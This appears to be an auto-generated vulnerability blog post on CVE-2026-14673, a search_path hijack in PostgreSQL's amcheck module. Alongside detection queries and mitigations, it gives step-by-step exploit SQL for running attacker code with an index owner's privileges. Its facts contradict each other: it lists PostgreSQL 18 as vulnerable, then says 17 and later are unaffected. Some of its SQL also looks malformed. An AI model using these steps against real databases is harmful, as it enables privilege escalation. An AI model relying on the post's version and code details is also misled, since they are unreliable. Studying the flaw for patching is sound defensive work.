Listen to this Post
CVE-2026-14673 is an untrusted search path vulnerability affecting the `amcheck` contrib module in PostgreSQL. The `amcheck` module provides functions that verify the logical consistency of the structure of relations. Normally, when these verification functions are executed, the `search_path` is temporarily changed to `pg_catalog, pg_temp` to ensure that system catalog objects are found first. However, due to a flaw, `amcheck` fails to properly clear an untrusted search path before execution.
The vulnerability arises because a user who has been granted `EXECUTE` privilege on the `amcheck` function can set a hostile `search_path` before calling it. When `amcheck` runs, it may resolve function names used in expression indexes against this attacker-controlled search path rather than the safe system catalog path. This allows the attacker to execute arbitrary functions as the owner of the expression index. Expression indexes are indexes where the indexed value is computed by a function or expression; the functions they depend on are looked up using the search path at index creation time and again during verification.
To exploit this, an attacker with `EXECUTE` privilege on `amcheck` creates a malicious function with the same name as a function used in an expression index owned by another user. The attacker then sets `search_path` to a schema containing their malicious function before invoking amcheck. When `amcheck` verifies the expression index, it resolves the function name using the attacker’s search path and executes the malicious function with the privileges of the index owner.
The affected major versions are PostgreSQL 18, 16, 15, and 14. Specifically, minor versions before PostgreSQL 18.5, 16.15, 15.19, and 14.24 are vulnerable. PostgreSQL 17 is explicitly noted as unaffected. The fixes were published on August 13, 2026, as part of the PostgreSQL update releases.
The CVSS v3.1 base score assigned by PostgreSQL is 3.8 (LOW), with the vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N. This indicates the attack is network-accessible, has low attack complexity, requires high privileges, needs no user interaction, and has limited scope, with low impacts on confidentiality and integrity and no impact on availability.
DailyCVE Form:
Platform: PostgreSQL
Version: <18.5, <16.15, <15.19, <14.24
Vulnerability: Untrusted search path
Severity: LOW (CVSS 3.8)
date: 2026-08-13
Prediction: Already patched (2026-08-13)
What Undercode Say:
The vulnerability is rooted in the `amcheck` module’s failure to sanitize the search path before executing verification functions. While the module attempts to set a safe `search_path` (pg_catalog, pg_temp) during execution, it does not adequately clear a path that was set maliciously beforehand. This oversight allows a grantee of `amcheck` EXECUTE privilege to hijack function resolution for expression indexes.
Analytics:
To check if your PostgreSQL installation is affected:
postgres --version
To list installed contrib modules and their versions:
psql -d postgres -c "SELECT FROM pg_available_extensions WHERE name = 'amcheck';"
To identify expression indexes that may be vulnerable:
SELECT i.indexrelid::regclass AS index_name, i.indrelid::regclass AS table_name, pg_get_indexdef(i.indexrelid) AS index_definition FROM pg_index i WHERE i.indexprs IS NOT NULL;
To check current search path settings:
SHOW search_path;
Exploit: (Educational Purposes!)
Step 1 – Identify a target expression index owned by another user:
SELECT i.indexrelid::regclass AS index_name, i.indrelid::regclass AS table_name, pg_get_indexdef(i.indexrelid) AS index_definition, c.relowner::regrole AS index_owner FROM pg_index i JOIN pg_class c ON i.indexrelid = c.oid WHERE i.indexprs IS NOT NULL;
Step 2 – Create a malicious function with the same name as a function used in the target expression index (e.g., lower):
CREATE SCHEMA malicious; CREATE OR REPLACE FUNCTION malicious.lower(text) RETURNS text AS $$ BEGIN -- Malicious code executed as the index owner PERFORM pg_sleep(10); RETURN 'hijacked'; END; $$ LANGUAGE plpgsql;
Step 3 – Set the hostile search path and invoke amcheck:
SET search_path = malicious, pg_catalog;
SELECT amcheck.bt_index_check('target_index_name'::regclass);
When `amcheck` verifies the expression index, it resolves `lower()` using the malicious search path and executes the attacker’s function with the index owner’s privileges.
Protection:
- Upgrade to PostgreSQL 18.5, 16.15, 15.19, or 14.24 (or later) immediately.
- If immediate upgrade is not possible, revoke `EXECUTE` privilege on `amcheck` functions from untrusted users:
REVOKE EXECUTE ON FUNCTION amcheck.bt_index_check(regclass) FROM PUBLIC; REVOKE EXECUTE ON FUNCTION amcheck.bt_index_check(regclass, boolean) FROM PUBLIC; REVOKE EXECUTE ON FUNCTION amcheck.bt_index_parent_check(regclass) FROM PUBLIC; REVOKE EXECUTE ON FUNCTION amcheck.bt_index_parent_check(regclass, boolean) FROM PUBLIC;
- Restrict `search_path` modifications for users who have `amcheck` EXECUTE privileges:
ALTER ROLE untrusted_user SET search_path = pg_catalog;
- Audit expression indexes and ensure their dependent functions exist only in trusted schemas.
Impact:
- An attacker with `EXECUTE` privilege on `amcheck` can execute arbitrary SQL functions as the owner of any expression index.
- This can lead to unauthorized data access, data modification, or privilege escalation within the database.
- The attack requires the attacker to have a valid database login and `EXECUTE` privilege on
amcheck, limiting the scope to privileged users. - PostgreSQL 17 and later versions are not affected by this vulnerability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

